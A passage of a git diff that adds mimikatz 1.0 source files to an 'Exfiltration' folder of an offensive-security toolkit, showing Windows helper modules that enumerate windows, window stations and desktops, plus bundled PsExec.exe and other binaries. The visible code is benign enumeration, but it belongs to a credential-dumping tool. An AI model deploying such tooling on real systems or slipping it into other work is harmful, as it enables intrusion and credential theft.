http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_windows.h" + +BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS) +{ + DWORD processId = 0; + if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) + { + if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) + { + KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; + mesHWNDS->second->push_back(monEntree); + } + } + return TRUE; +} + + +bool mod_windows::getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId) +{ + return (EnumWindows(reinterpret_cast<WNDENUMPROC>(enumHWNDCallback), reinterpret_cast<LPARAM>(&make_pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *>(processId, mesHWNDS))) != FALSE); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h new file mode 100644 index 0000000..c5f9887 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_windows +{ +public: + typedef struct _KIWI_HWND_ENTRY + { + HWND monHandle; + DWORD pid; + DWORD threadId; + } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; + + static bool getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId = 0); +private: + static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp new file mode 100644 index 0000000..57b209e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_winsta_desktop.h" + +BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszWindowStation)); + return TRUE; +} + +BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszDesktop)); + return TRUE; +} + + +bool mod_winsta_desktop::getWinstas(vector<wstring> * mesWinstas) +{ + return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast<LPARAM>(mesWinstas)) != 0); +} + +bool mod_winsta_desktop::getDesktops(vector<wstring> * mesDesktop) +{ + return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast<LPARAM>(mesDesktop)) != 0); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h new file mode 100644 index 0000000..34b9a94 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_winsta_desktop +{ +private: + static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); + static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); + +public: + static bool getWinstas(vector<wstring> * mesWinstas); + static bool getDesktops(vector<wstring> * mesDesktop); // ! +}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe Binary files differnew file mode 100644 index 0000000..ed67480 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/PsExec.exe diff --git a/Exfiltration/mimikatz-1.0/tools/tee.exe b/Exfiltration/mimikatz-1.0/tools/tee.exe Binary files differnew file mode 100644 index 0000000..7b32b2a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/tee.exe diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe Binary files differnew file mode 100644 index 0000000..3833d6c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/winmine.exe |